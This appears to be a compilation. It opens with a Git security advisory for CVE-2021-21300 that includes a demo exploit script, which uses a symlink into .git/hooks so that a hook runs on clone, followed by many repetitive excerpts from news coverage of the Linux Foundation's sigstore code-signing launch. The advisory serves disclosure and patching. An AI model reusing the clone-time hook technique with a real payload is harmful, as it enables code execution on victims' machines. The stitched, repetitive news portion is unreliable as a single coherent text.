Team,

The Git project released new versions on Tuesday, March 9th 2021
addressing CVE-2021-21300.

This vulnerability affects platforms with case-insensitive filesystems
with support for symbolic links, when certain clean/smudge filters are
configured globally (e.g. Git LFS).

The fixed versions are v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4,
v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3,
and v2.30.2.

Link to the announcement:
https://lore.kernel.org/git/xmqqim6019yd.fsf@gitster.c.googlers.com/T/#u

We highly recommend to upgrade.

The addressed issue is:

* CVE-2021-21300:
  On case-insensitive filesystems, with support for symbolic links,
  if Git is configured globally to apply delay-capable clean/smudge
  filters (such as Git LFS), Git could be fooled into running
  remote code during a clone.

  Demo exploit:

  #!/bin/sh

  git init delayed-checkout &&
  (
  	cd delayed-checkout &&
  	echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
  		>.gitattributes &&
  	mkdir A &&
  	printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
  	chmod +x A/post-checkout &&
  	>A/a &&
  	>A/b &&
  	git add -A &&
  	rm -rf A &&
  	ln -s .git/hooks a &&
  	git add a &&
  	git commit -m initial
  ) &&
  git clone delayed-checkout cloned

  With Git LFS enabled globally, this will print "PWNED" during the clone
  on case-insensitive file systems with support for symbolic links (such
  as NTFS, HFS+, etc).

Credit for finding the vulnerability goes to Matheus Tavares who also
worked with me on fixing it.

Thanks,
Johannes

Several new versions of the Git source-code management system have been released; they fix a vulnerability that could allow a hostile remote repository to execute code locally during a clone operation. Only users with case-insensitive filesystems are affected, reducing the set of possible targets considerably, but an update still seems like a good idea.

The Linux Foundation, with the support of Google, Red Hat, and Purdue University, is launching a service called sigstore to help developers sign the code they release.

Signing code involves associating a cryptographic signature with a specific digital artifact – release files, container images, and binaries – so that the person using the software can check the code's signature to verify that the release is authentic and hasn't been altered by someone along the way.

"Sigstore enables all open source communities to sign their software and combines provenance, integrity and discoverability to create a transparent and auditable software supply chain," said Luke Hinds, security engineering lead in Red Hat's office of the CTO, in a statement.

The just-announced sigstore aims to improve the security of the software supply chain by enabling the easy adoption of cryptographic software signing backed by transparency log technologies. It will do this by empowering developers to securely sign software artifacts such as release files, container images, and binaries. These signing records will then be kept in a tamper-proof public log. This service will be free for all developers and software providers to use. The sigstore code and operation tooling that will be used to make this work is still being developed by the sigstore community.

It’s evident that security for anything is a top priority now. And, ensuring that the software you use is genuine and developed by the original developers is even more important.

Of course, there will always be pirated or modded software available but even with that, if they utilize code signing, you will be able to verify the source (if you trust them in the first place).

Even though software signing is important and has a ton of benefits to ensure the integrity of the software, code signing isn’t something adopted by many developers.

Sigstore aims to improve the open source software supply chain by simplifying the process of cryptographic software signing.

The Linux Foundation has announced the launch of Sigstore, a new nonprofit initiative that aims to improve open source software supply chain security by making it easier for developers to adopt cryptographic signing for different components of the software development process.

The Linux Foundation today embraced a sigstore project founded by Red Hat, Google and Purdue University to make it simpler for developers to employ cryptographic software, enabled by transparency log technologies, to secure software supply chains.

In a bid to secure the open source software supply chain, the Linux Foundation, together with Red Hat, Google, and Purdue University have combined to launch a new project to help developers cryptographically sign their software.

Considering the constant increase in the rate of industrial adoption of open source software, the project, called sigstore, aims to prevent an attack on a public software repository from injecting tainted code in the supply chain.

“sigstore enables all open source communities to sign their software and combines provenance, integrity and discoverability to create a transparent and auditable software supply chain,” said Luke Hinds, Security Engineering Lead, Red Hat office of the CTO.

The Linux Foundation, the non-profit organization enabling innovation through open source, has announced a new service to improve the security of the software supply chain by enabling the easy adoption of cryptographic software signing.

Called 'sigstore' it will allow software developers to securely sign software artifacts such as release files, container images and binaries. Signing materials will then be stored in a tamper-proof public log. Founding members of the project include Red Hat, Google and Purdue University.

The Linux Foundation is launching “sigstore,” a free-to-use software signing certificate authority open to all developers.

Code signing cryptographically authenticates that software has not been tampered with before installation. It can be a valuable tool to prevent hackers from co-opting patching systems or software distribution to deliver malware.

But it can be a difficult feature for open source software producers to leverage, given the complexities of the process and key management.

The Linux Foundation has announced a project called sigstore; its purpose is to protect against supply-chain attacks by signing (and verifying) release artifacts. "Very few open source projects cryptographically sign software release artifacts. This is largely due to the challenges software maintainers face on key management, key compromise / revocation and the distribution of public keys and artifact digests. In turn, users are left to seek out which keys to trust and learn steps needed to validate signing. Further problems exist in how digests and public keys are distributed, often stored on websites susceptible to hacks or a README file situated on a public git repository. sigstore seeks to solve these issues by utilization of short lived ephemeral keys with a trust root leveraged from an open and auditable public transparency logs."

The Linux Foundation is launching its new sigstore project to provide better security and protection for all aspects of the software supply chain. The new project will enable developers to sign specific aspects of their development process, ensuring that files and other assets carry strong, tamper-proof encryption.

An inherent weakness of open source code is that it's difficult to determine its provenance and how it was built, which means that it's prone to supply chain attacks. Google aims to solve this problem which is why it has collaborated with Red Hat and Smallstep to introduce Sigstore (stylized "sigstore") in the Linux Foundation, making it easier to digitally sign and verify source code.

[...]

As it currently stands, sigstore has a fully functioning transparency log, but the WebPKI and client signing tooling is still in prototyping stage and is not ready for general use. The tool is open source and free to use for all developers. The development teams thinks that there are no privacy concerns involved as sigstore does not need access to any personal information except the OpenID Connect grant which will contain the user's email address. Future plans for sigstore include introducing support for other OpenID Connect providers, updating the documentation, completing the development of the remaining signing infrastructure, and hardening the system for general use. You can find out more about the project on the dedicated website here.

The Linux Foundation has launched a free-to-use service for open source developers to cryptographically sign software to reassure users further down the supply chain that the software they’re using is legitimate.

Developed in partnership with Google and Red Hat, the sigstore project will allow the open source community to sign software artefacts including release files, container images and binaries before these elements are stored in a public log.

The Linux Foundation has launched a “sigstore” project for improving software security via crypto software signing and transparency logs. The LF also announced new members for OpenSSF and launched a “DizmeID Foundation” for digital ID credentialing.

The Linux Foundation announced the launch of a sigstore project for cryptographic software signing and announced new members for its Open Source Security Foundation (OpenSSF). Other recent Linux Foundation security announcements include the launch of a DizmeID Foundation for digital ID credentialing and a new commitment from Google and the LF to prioritize funds to underwrite two full-time maintainers for Linux kernel security development (see farther below).

The Linux Foundation, Red Hat, Google, and Purdue have unveiled the free 'sigstore' service that lets developers code-sign and verify open source software to prevent supply-chain attacks.

Called sigstore, the new cryptographic signing platform uses public logging similar to (but not the same as) cryptocurrencies and other blockchain technologies, the end result of which eliminates many of the security risks associated with traditional digital signing technologies. As opposed to using actual blockchains, sigstore uses transparency logs, which it said are more resilient to majority attacks, avoid canonicalization and are more mature.

The new sigstore project, recently announced by the Linux Foundation, aims to improve the security of the software supply chain by allowing developers to securely sign software components.

Google has teamed up with the Linux community on a new project that aims to make open source software more secure through easy code signing and verification.

Sigstore promises to be a gamechanging service for Free and Open Source software security.

sigstore will empower software developers to securely sign software artifacts such as release files, container images and binaries. Signing materials are then stored in a tamper-proof public log. The service will be free to use for all developers and software providers, with the sigstore code and operation tooling developed by the sigstore community. Founding members include Red Hat, Google and Purdue University.

“sigstore enables all open source communities to sign their software and combines provenance, integrity and discoverability to create a transparent and auditable software supply chain,” said Luke Hinds, Security Engineering Lead, Red Hat office of the CTO. “By hosting this collaboration at the Linux Foundation, we can accelerate our work in sigstore and support the ongoing adoption and impact of open source software and development.”

The Sigstore project will enable developers to sign specific aspects of their development process. This will ensure that files and other assets carry strong, tamper-proof encryption.

The Linux Foundation, today announced the sigstore project. Founding members include Red Hat, Google and Purdue University. Sigstore improves the security of the software supply chain. It enabling the easy adoption of cryptographic software signing backed by transparency log technologies.

An inherent weakness of open source code is that it’s difficult to determine its provenance how it was built. That means that it’s prone to supply chain attacks.

Backed by the Linux Foundation, Sigstore aims to provide a non-profit service to foster the adoption of cryptographic signing by open source projects to make the software supply chain more secure.

The main issue Sigstore attempts to tackle is the difficulty of knowing the origin of a piece of software, or how it was built. This becomes especially tricky when that software is included in a larger project, paving the way to external attacks. As Google security engineers Kim Lewandowski and Dan Lorenc put it introducing the initiative,